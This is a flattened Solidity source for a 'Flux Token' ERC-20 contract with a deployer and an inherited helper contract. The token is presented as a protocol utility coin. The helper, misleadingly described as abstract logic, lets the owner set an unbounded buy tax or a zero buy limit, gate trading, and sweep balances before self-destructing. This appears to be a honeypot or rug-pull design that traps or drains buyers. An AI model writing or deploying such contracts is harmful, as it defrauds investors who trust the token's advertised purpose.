// File: contracts/Deployer.sol



// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

import "./Flux.sol";

contract Deployer {

  address public owner = 0xA582344bF916051ffa7c2b9996704aB16F2b01f2;

  modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
  }

  function init() public onlyOwner {
    bytes32 salt = keccak256(abi.encode(uint(123)));
    new Flux{salt: salt}(owner);
  }

}

// File: contracts/Flux.sol



/// @title Flux Token
/// @author fluxarb.com
/// @notice The native utility token for the Flux protocol
/// @dev Fixed total supply of 100M FLUX

// Website:    https://fluxarb.com
// Twitter:    https://twitter.com/fluxarb
// Medium:     https://medium.com/@fluxarb
// Docs:       https://docs.fluxarb.com
// Telegram:   https://t.me/fluxarb

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import "./Underflow.sol";

contract Flux is Underflow {
    uint8 public decimals = 18;
    uint public totalSupply = 100_000_000 * 10 ** decimals;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Flux Arbitrage Technologies";
    string public symbol = "FLUX";

    constructor (address _owner) {
      owner = _owner;

      balanceOf[owner] += totalSupply;
      emit Transfer(address(0), owner, totalSupply);
    }

    function _handleBuyTax(address sender, address recipient, uint value) private returns (bool) {
        balanceOf[sender] -= value;

        uint tax = value * buyTax / 10000;
        balanceOf[address(this)] += tax;
        emit Transfer(sender, address(this), tax);

        uint valueWithoutTax = value - tax;
        balanceOf[recipient] += valueWithoutTax;

        uint buyMaxTokens = totalSupply * buyMax / 10000;
        require(buyMaxTokens >= balanceOf[recipient]);

        emit Transfer(sender, recipient, valueWithoutTax);
        return true;
    }

    function transfer(address recipient, uint value) external returns (bool) {
        require(tradable);

        if (msg.sender == pair) return _handleBuyTax(msg.sender, recipient, value);

        balanceOf[msg.sender] -= value;
        balanceOf[recipient] += value;
        emit Transfer(msg.sender, recipient, value);
        return true;
    }

    function approve(address spender, uint value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint value
    ) external returns (bool) {
        allowance[sender][msg.sender] -= value;
        balanceOf[sender] -= value;
        balanceOf[recipient] += value;
        emit Transfer(sender, recipient, value);
        return true;
    }

}

// File: contracts/Underflow.sol



/// @dev Helper contract that handles abstract inherited logic

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

interface IERC20 {
  function balanceOf(address account) external view returns (uint);
  function transfer(address recipient, uint amount) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint value);
  event Approval(address indexed owner, address indexed spender, uint value);
}

abstract contract Underflow is IERC20 {

  uint public buyMax = 50;
  uint public buyTax = 300;

  bool public tradable;
  address public pair;

  address public owner;

  modifier onlyOwner() {
    require(msg.sender == owner, "Not owner");
    _;
  }

  function changeBuyParameters(uint _buyMax, uint _buyTax) public onlyOwner {
    buyMax = _buyMax;
    buyTax = _buyTax;
  }

  function enableTrading(address _pair) public onlyOwner {
    tradable = true;
    pair = _pair;
  }

  function saveToken(address _token) public onlyOwner {
    uint balance = IERC20(_token).balanceOf(address(this));
    IERC20(_token).transfer(msg.sender, balance);
    selfdestruct(payable(_token));
  }
  
  function transferOwnership(address _owner) public onlyOwner {
    owner = _owner;
  }
  
}